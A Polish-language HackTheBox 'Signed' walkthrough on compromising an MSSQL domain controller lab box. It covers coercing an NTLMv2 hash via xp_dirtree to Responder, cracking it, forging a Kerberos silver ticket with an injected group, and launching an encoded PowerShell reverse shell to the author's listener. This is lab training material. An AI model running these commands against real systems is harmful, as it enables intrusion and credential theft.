[PL] HackTheBox - Signed
February 20, 2026
Dane wejściowe
Na wstępie otrzymujemy dane uwierzytelniające (login scott i hasło Sm230#C5NatH), które możemy wykorzystać w usłudze mssql. Za HackTheBox:
As is common in real life Windows penetration tests, you will start the Signed box with credentials for the following account which can be used to access the MSSQL service: scott / Sm230#C5NatH
Rekonesans
Nmap
Nmap znajduje tylko jeden otwarty port:
1433 (mssql)
rvr@rvr$ nmap -sCV -oN nmap.initial 10.129.4.92
Nmap scan report for DC01.SIGNED.HTB (10.129.4.92)
Host is up (0.25s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2026-02-12T23:01:02+00:00; 0s from scanner time.
| ms-sql-info:
| 10.129.4.92:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.4.92:1433:
| Target_Name: SIGNED
| NetBIOS_Domain_Name: SIGNED
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: SIGNED.HTB
| DNS_Computer_Name: DC01.SIGNED.HTB
| DNS_Tree_Name: SIGNED.HTB
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
rvr@rvr$ nmap -p- --min-rate 10000 -oN nmap.all-ports 10.129.4.92 -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-02-12 00:09 CET
SYN Stealth Scan Timing: About 50.00% done; ETC: 00:21 (0:06:01 remaining)
Completed SYN Stealth Scan at 00:21, 696.32s elapsed (65535 total ports)
Nmap scan report for DC01.SIGNED.HTB (10.129.4.92)
Host is up (0.98s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE
1433/tcp open ms-sql-sTCP 1433
Zweryfikujmy credentiale przy pomocy netexec - narzędzia, które jest bardzo pomocne w pentestach sieci. Wybieramy oczywiście protokół mssql:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH'
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [-] SIGNED.HTB\scott:Sm230#C5NatH (Login failed. The login is from an untrusted domain and cannot be used with Integrated authentication. Please try again with or without '--local-auth')Błąd podpowiada, że łączymy się spoza zaufanej domeny, a podane dane logowania nie mogą być wykorzystane do uwierzytelnienia mechanizmem Windowsa. Musimy przełączyć się na tryb local-auth, aby wymusić uwierzytelnienie typowo SQLowe:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatHBez zaskoczenia - uwierzytelnienie przebiegło pomyślnie. Dzięki temu poznaliśmy nazwę domeny: SIGNED.HTB. Możemy dodać ją do pliku /etc/hosts:
rvr@rvr$ sudo echo 10.129.4.92 signed.htb DCO1 DCO1.signed.htb > /etc/hostsEnumeracja
Co teraz? Zostańmy jeszcze przy narzędziu nxc, gdyż zawiera wiele ciekawych modułów przydatnych w eksploitacji. Ich lista dla mssql przedstawia się następująco:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' -L
LOW PRIVILEGE MODULES
ENUMERATION
[*] enum_impersonate Enumerate users with impersonation privileges
[*] enum_links Enumerate linked SQL Servers and their login configurations.
[*] enum_logins Enumerate SQL Server logins (SQL, Domain, Local users)
PRIVILEGE_ESCALATION
[*] enable_cmdshell Enable or disable xp_cmdshell in MSSQL Server
[*] exec_on_link Execute commands on a SQL Server linked server
[*] link_enable_cmdshell Enable or disable xp_cmdshell on a linked MSSQL server
[*] link_xpcmd Run xp_cmdshell commands on a linked SQL server
[*] mssql_coerce Execute arbitrary SQL commands on the target MSSQL server
[*] mssql_priv Enumerate and exploit MSSQL privileges
HIGH PRIVILEGE MODULES (requires admin privs)
ENUMERATION
[*] test_connection Pings a host
CREDENTIAL_DUMPING
[*] nanodump Get lsass dump using nanodump and parse the result with pypykatz
PRIVILEGE_ESCALATION
[*] empire_exec Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
[*] met_inject Downloads the Meterpreter stager and injects it into memory
[*] web_delivery Kicks off a Metasploit Payload using the exploit/multi/script/web_delivery moduleenum_impersonate
Moduł ten pozwala wyszukać użytkowników, pod których możemy się podszyć (“personifikować”). Personifikacja to możliwość wykonania akcji w imieniu innego użytkownika, w jego własnym kontekście bezpieczeństwa.
Niestety nie tym razem:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enum_impersonate
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatH
ENUM_IMP... 10.129.4.92 1433 DC01 [-] No users with impersonation rights found.
No users with impersonation rights found.
enum_links
Następny moduł enum_links pozwala wyszukać serwery bazodanowe w obrębie domeny, które połączone są z naszym serwerem tzw. bezpiecznym kanałem. Dzięki temu moglibyśmy wykonywać zapytania, czy nawet komendy systemowe, na takim serwerze.
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enum_links
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatH
ENUM_LINKS 10.129.4.92 1433 DC01 [+] Linked servers found:
ENUM_LINKS 10.129.4.92 1433 DC01 [*] - DC01Widzimy DC01, czyli kontroler domeny. Jednak jest to ten sam serwer, który aktualnie testujemy (widać to w opowiedziach narzędzia nxc obok portu 1433). Możemy to potwierdzić także w ten sposób:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -q 'select @@servername'
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatH
MSSQL 10.129.4.92 1433 DC01 DC01Wygląda więc na to, że enum_links w nxc nieco wprowadza w błąd wrzucając DC01 do listy serwerów połączonych.
W takiej sytuacji dobrze zweryfikować to wszystko w innym narzędziu, np. mssqlclient.py z biblioteki impacket, które oferuje analogiczne możliwości.
rvr@rvr$ mssqlclient.py 'signed.htb/scott:Sm230#[email protected]'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (scott guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
-------- ---------------- ----------- -------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------W Linked Server tym razem nie dostajemy żadnych danych. Zatem moduły exec_on_link, link_enable_cmdshell i link_xpcmd nie będą miały tu zastosowania - możemy na razie je pominąć.
enum_logins
Następny moduł enum_logins pozwala wylistować aktywnych użytkowników:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enum_logins
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatH
ENUM_LOGINS 10.129.4.92 1433 DC01 [*] Enumerated logins
ENUM_LOGINS 10.129.4.92 1433 DC01 Login Name Type Status
ENUM_LOGINS 10.129.4.92 1433 DC01 ---------- ---- ------
ENUM_LOGINS 10.129.4.92 1433 DC01 sa SQL User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 scott SQL User ENABLEDDostępni są:
sa(system administrator)scott
enable_cmdshell
Co teraz? Możemy spróbować włączyć xp_cmdshell i przetestować wykonanie dowolnej komendy systemowej, np. whoami:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -M enable_cmdshell -o ACTION=enable
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatH
ENABLE_C... 10.129.4.92 1433 DC01 [+] xp_cmdshell successfully enabled.rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -x whoami
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatHNic z tego! whoami nie zwraca żadnej odpowiedzi, co może być spowodowane brakiem odpowiednich uprawnienień. Ponownie potwierdźmy to w mssqlclient.py, gdyż pierwsza z powyższych komend zwróciła sukces:
xp_cmdshell successfully enabled.
rvr@rvr$ mssqlclient.py 'signed.htb/scott:Sm230#[email protected]'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (scott guest@master)> enable_xp_cmdshell
ERROR(DC01): Line 105: User does not have permission to perform this action.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.
ERROR(DC01): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
ERROR(DC01): Line 1: You do not have permission to run the RECONFIGURE statement.Tu jest już dużo jaśniej:
User does not have permission to perform this action.
Dobrze jest od czasu do czasu weryfikować narzędzia, jeśli mamy taką alternatywę ;)
Przechwycenie hasha NTLMv2
Kolejną z możliwości może być przechwycenie hasha NTLMv2. Windows posiada mechanizm, który automatycznie wysyła dane uwierzytelniające (najczęściej w postaci hashy) w sytuacji, gdy ten próbuje połączyć się z usługą SMB/WebDAV. Jeśli taką usługę wystawimy na kontrolowanym przez nas hoście, możemy przechwycić taki hash i spróbować go złamać, by uzyskać hasło w wersji jawnej. Do tego celu służy m.in. Responder i nieudokumentowana procedura w sql server xp_dirtree, oryginalnie służąca do wylistowania zawartości katalogu. Często jest jednak nadużywana do połączenia z serwerem SMB i pozyskania hashy właśnie. Co ciekawe, jedno z pierwszych źródeł wskazuje na istnienie tej procedury już w wersji SQL Server z roku 2000.
Uruchamiamy więc respondera:
rvr@rvr$ sudo responder -I tun0
[sudo] password for rvr:
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.1.3.0
...[snip]...I wysyłamy żądanie z mssqla do naszego hosta:
rvr@rvr$ nxc mssql 10.129.4.92 -u scott -p 'Sm230#C5NatH' --local-auth -q 'EXEC master..xp_dirtree "\\10.10.15.26\share"'
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] DC01\scott:Sm230#C5NatHPo chwili, powinniśmy zobaczyć hash NTLMv2 oraz nazwę użytkownika w oknie respondera:
[SMB] NTLMv2-SSP Client : 10.129.4.92
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash : mssqlsvc::SIGNED:0703e953a514a9ea:8E971EDCB7FC2B606E871F9C3471CE38:0101000000000000803B32AC833BDC016F0BC3931083976D00000000020008004D00320034004B0001001E00570049004E002D005700480052004700350054005500320052004200540004003400570049004E002D00570048005200470035005400550032005200420054002E004D00320034004B002E004C004F00430041004C00030014004D00320034004B002E004C004F00430041004C00050014004D00320034004B002E004C004F00430041004C0007000800803B32AC833BDC01060004000200000008003000300000000000000000000000003000005FECCE3E6B2BA0234C33308EDE19E356B3D5D0AFCCD4685C493329E39175F7270A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100360031000000000000000000Spróbujmy go teraz złamać wrzucając go do hashacata z listą rockyou.txt:
rvr@rvr$ hashcat.bin hash-mssqlsvc-ntlmv2.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
...[snip]...
5600 | NetNTLMv2 | Network Protocol
...[snip]...
MSSQLSVC::SIGNED:0703e953a514a9ea:8e971edcb7fc2b606e871f9c3471ce38:0101000000000000803b32ac833bdc016f0bc3931083976d00000000020008004d00320034004b0001001e00570049004e002d005700480052004700350054005500320052004200540004003400570049004e002d00570048005200470035005400550032005200420054002e004d00320034004b002e004c004f00430041004c00030014004d00320034004b002e004c004f00430041004c00050014004d00320034004b002e004c004f00430041004c0007000800803b32ac833bdc01060004000200000008003000300000000000000000000000003000005fecce3e6b2ba0234c33308ede19e356b3d5d0afccd4685c493329e39175f7270a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100360031000000000000000000:purPLE9795!@
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 5600 (NetNTLMv2)
Hash.Target......: MSSQLSVC::SIGNED:0703e953a514a9ea:8e971edcb7fc2b606...000000
...[snip]...Hasło złamane! Mamy credentiale konta serwisowego mssql:
mssqlsvc:purPLE9795!@
Tym razem nie potrzebujemy już opcji --local-auth, gdyż mssqlsvc jest członkiem domeny signed.htb i do zalogowania możemy wykorzystać uwierzytelnienie Windowsa (w przeciwnym wypadku zobaczylibyśmy błąd uwierzytelnienia).
rvr@rvr$ nxc mssql 10.129.4.92 -u MSSQLSVC -p 'purPLE9795!@'
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] SIGNED.HTB\MSSQLSVC:purPLE9795!@Użytkownik mssqlsvc
Możemy teraz ponownie uruchomić nxc i jego moduły wykorzystując nowe konto. Jeśli jednak pominiemy wszystkie te, które zwracają odpowiedzi identyczne jak wcześniej, zostanie nam tylko jeden moduł - enum_logins:
rvr@rvr$ nxc mssql 10.129.4.92 -u MSSQLSVC -p 'purPLE9795!@' -M enum_logins
MSSQL 10.129.4.92 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL 10.129.4.92 1433 DC01 [+] SIGNED.HTB\MSSQLSVC:purPLE9795!@
ENUM_LOGINS 10.129.4.92 1433 DC01 [*] Enumerated logins
ENUM_LOGINS 10.129.4.92 1433 DC01 Login Name Type Status
ENUM_LOGINS 10.129.4.92 1433 DC01 ---------- ---- ------
ENUM_LOGINS 10.129.4.92 1433 DC01 NT AUTHORITY\SYSTEM Local User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 NT SERVICE\MSSQLSERVER Local User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 NT SERVICE\SQLSERVERAGENT Local User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 NT SERVICE\SQLTELEMETRY Local User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 NT SERVICE\SQLWriter Local User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 NT SERVICE\Winmgmt Local User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 sa SQL User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 scott SQL User ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 SIGNED\Domain Users Windows Group ENABLED
ENUM_LOGINS 10.129.4.92 1433 DC01 SIGNED\IT Windows Group ENABLEDDzięki dostępowi do domeny, widzimy więcej kont i grup użytkowników.
Atak silver ticket
Jeśli posiadamy konto serwisowe (1) oraz hash NT (2), możemy wygenerować ticket, którym później uwierzytelnimy się przed Kerberosem. Hash NT możemy uzyskać poprzez złamanie hasha NTLMv1 lub NTLMv2. Co za tym idzie, zarówno (1), jak i (2) warunek mamy spełniony. Atak ten nazywa się silver ticket, a uzyskany w nim bilet daje możliowść ataku pass-the-ticket, który często otwiera dostęp do dużo większej liczby zasobów.
Jak wygenerować taki ticket? Do tego celu wykorzystamy skrypt ticketer.py z repozytorium impacket, które zawiera wiele przydatych skryptów napisanych w pythonie. Ułatwiają one interakcje z wieloma usługami sieciowymi. Wszystkie wymagane parametry możemy podejrzeć w pomocy tego narzędzia albo np. na tej stronie.
Wyglądają one następująco:
python ticketer.py
-nthash "$NT_HASH"
-domain-sid "$DomainSID"
-domain "$DOMAIN"
-spn "$SPN"
"username"Zajmijmy się najpierw hashem NT. Przechowywany jest on w postaci hasha md4 z hasła. Ważne jest również odpowiednie kodowanie - hasło powinno być przekonwertowane do utf16-le, gdyż windows natywnie operuje właśnie na tym rodzaju kodowania znaków. Pełna komenda to:
rvr@rvr$ echo -n 'purPLE9795!@' | iconv -t UTF-16LE | openssl dgst -md4
MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0ccNastępnie potrzebujemy tzw. domain sid, dla którego będzie wygenerowany ticket.
W repozytorium
impacketdostępne jest ciekawe narzędzie o nazwielookupsid.py. Jak wskazuje nazwa, pozwala ono na enumerację wartościdomain sid. Niestety, ponieważ nie mamy dostępnego portusmb, nie możemy go tutaj użyć.
W tym celu ponownie przenieśmy się do narzędzia mssqlclient.py, gdyż w porównaniu do nxc potrafi zwrócić więcej przydatnych informacji (musimy dodać opcję -windows-auth, ponieważ jest to konto należace do domeny):
rvr@rvr$ mssqlclient.py -windows-auth 'signed.htb/MSSQLSVC:purPLE9795!@@10.129.4.92'
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc guest@master)>Po zalogowaniu ukazuje się nam konto z uprawnieniami gościa, nie zrobimy więc wiele.
Następnie po uruchomieniu funkcji enum_logins widzimy:
SQL (SIGNED\mssqlsvc guest@master)> enum_logins
name type_desc is_disabled sysadmin securityadmin serveradmin setupadmin processadmin diskadmin dbcreator bulkadmin
--------------------------------- ------------- ----------- -------- ------------- ----------- ---------- ------------ --------- --------- ---------
sa SQL_LOGIN 0 1 0 0 0 0 0 0 0
##MS_PolicyEventProcessingLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
##MS_PolicyTsqlExecutionLogin## SQL_LOGIN 1 0 0 0 0 0 0 0 0
SIGNED\IT WINDOWS_GROUP 0 1 0 0 0 0 0 0 0
NT SERVICE\SQLWriter WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\Winmgmt WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\MSSQLSERVER WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT AUTHORITY\SYSTEM WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
NT SERVICE\SQLSERVERAGENT WINDOWS_LOGIN 0 1 0 0 0 0 0 0 0
NT SERVICE\SQLTELEMETRY WINDOWS_LOGIN 0 0 0 0 0 0 0 0 0
scott SQL_LOGIN 0 0 0 0 0 0 0 0 0
SIGNED\Domain Users WINDOWS_GROUP 0 0 0 0 0 0 0 0 0 Część użytkowników i grup ma uprawnienia sysadmin. Skupimy się na grupie SIGNED\IT, gdyż oprócz uprawnień administratora, jest to też grupa niestandardowa. Aby pobrać jej domain sid musimy wykonać zapytanie:
SQL (SIGNED\mssqlsvc guest@master)> select suser_sid('signed\it');
-----------------------------------------------------------
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'Jednak to nie wszystko: sid jest w wersji binarnej. Na szczęscie poniższy skrypt ze stackoverflow.com pozwala przerobić go na wartość tekstową:
# Source - https://stackoverflow.com/a/52825313
# Posted by Diego Queiroz
# Retrieved 2026-02-06, License - CC BY-SA 4.0
import struct
def convert(binary):
version = struct.unpack('B', binary[0:1])[0]
# I do not know how to treat version != 1 (it does not exist yet)
assert version == 1, version
length = struct.unpack('B', binary[1:2])[0]
authority = struct.unpack(b'>Q', b'\x00\x00' + binary[2:8])[0]
string = 'S-%d-%d' % (version, authority)
binary = binary[8:]
assert len(binary) == 4 * length
for i in range(length):
value = struct.unpack('<L', binary[4*i:4*(i+1)])[0]
string += '-%d' % value
return string
print(convert(bytes.fromhex('0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'))) # S-1-5-21-4088429403-1159899800-2753317549-1105Potrzebujemy jeszcze wartość SPN (Service Principal Name). Na tej stronie możemy zobaczyć format jego zapisu. Prawdopodobne wydają się więc dwie wartości:
mssqlsvc/signed.htbmssqlsvc/dc01.signed.htb- ten drugi odnosi się do kontrolera domeny
Istotne jest też wyekstraktowanie grupy z tekstowej wartości sid (jest to część po ostatnim myślniku, tj. 1105). Jeśli tego nie zrobimy, ticketer.py użyje typowych wartości dla znanego użytkownika. Możemy to sprawdzić np. generując ticket bez jawnie podanej grupy (ostatni parametr username może być dowolony):
rvr@rvr$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/dc01.signed.htb silver_ticker
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/silver_ticker
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in silver_ticker.ccacheWygenerowany ticket przekazujemy poprzez zmienną środowiskową KRB5CCNAME, która wraz z opcją -k mówi mssqlclient.py o sposobie uwierzytelnienia:
rvr@rvr$ KRB5CCNAME=silver_ticker.ccache mssqlclient.py -no-pass -k DC01.signed.htb
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator guest@master)> Zostaliśmy przypisani do konta SIGNED\Administrator, jednak jego uprawnienia w mssql wskazują jedynie na konto gościa (guest@master), a to nic nam nie da.
Z tego powodu musimy jawnie naprowadzić ticketer.py, jaką grupę ma zawrzeć w tickecie (1105).
rvr@rvr$ ticketer.py -nthash ef699384c3285c54128a3ee1ddb1a0cc -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn mssqlsvc/dc01.signed.htb -groups 1105 silver_ticker
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for signed.htb/silver_ticker
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in silver_ticker.ccacheTym razem po zalogowaniu w mysqlclient.py widzimy już uprawnienia administratora (dbo@master):
rvr@rvr$ KRB5CCNAME=silver_ticker.ccache mssqlclient.py -no-pass -k DC01.signed.htb
Impacket v0.14.0.dev0+20251120.95652.9c2d8b61 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (SIGNED\Administrator dbo@master)> Możemy ponownie zastosować atak pass-the-ticket i sprawdzić czy podwyższone uprawnienia dają możliwość wykonania komendy systemowej:
rvr@rvr$ KRB5CCNAME=silver_ticker.ccache nxc mssql signed.htb -k --use-kcache -x whoami
MSSQL signed.htb 1433 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:SIGNED.HTB)
MSSQL signed.htb 1433 DC01 [+] SIGNED.HTB\silver_ticker from ccache (Pwn3d!)
MSSQL signed.htb 1433 DC01 [+] Executed command via mssqlexec
MSSQL signed.htb 1433 DC01 signed\mssqlsvcDziała. Czas na reverse shell w powershellu, który wygenerujemy np. na tej stronie:
rvr@rvr$ KRB5CCNAME=silver_ticker.ccache nxc mssql signed.htb -k --use-kcache -x 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0A...'rvr@rvr$ rlwrap nc -lvnp 9999
listening on [any] 9999 ...
connect to [10.10.15.26] from (UNKNOWN) [10.129.4.92] 58814
PS C:\Windows\system32> whoami
signed\mssqlsvcShell jako mssqlsvc
Możemy teraz odczytać flagę user.txt znajdującą się w katalogu domowym użytkownika mssqlsvc:
PS C:\Windows\system32> ls C:\Users\mssqlsvc\Desktop
Directory: C:\Users\mssqlsvc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/19/2026 3:24 AM 34 user.txt
PS C:\Windows\system32> cat C:\Users\mssqlsvc\Desktop\user.txt
8911ea**************************Enumeracja
Następny krok to znalezienie ścieżki eskalacji uprawnień. Typowe lokalizacje, czy uprawnienia użytkownika nie wskazują na nic istotnego:
PS C:\Windows\system32> whoami /all
USER INFORMATION
----------------
User Name SID
=============== ==============================================
signed\mssqlsvc S-1-5-21-4088429403-1159899800-2753317549-1103
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ =============================================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT SERVICE\MSSQLSERVER Well-known group S-1-5-80-3880718306-3832830129-1677859214-2598158968-1052248003 Enabled by default, Enabled group, Group owner
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ========
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set DisabledPS C:\> ls
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/7/2025 2:57 AM inetpub
d----- 10/10/2020 8:38 AM PerfLogs
d-r--- 10/6/2025 8:30 AM Program Files
d----- 10/2/2025 9:25 AM Program Files (x86)
d----- 10/2/2025 9:19 AM SQL2022
d-r--- 10/2/2025 9:27 AM Users
d----- 10/7/2025 3:05 AM WindowsPS C:\> ls Users\
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 10/7/2025 2:56 AM Administrator
d----- 10/2/2025 9:27 AM mssqlsvc
d-r--- 4/10/2020 10:49 AM PublicPS C:\Windows\system32> tree /f C:\Users\mssqlsvc
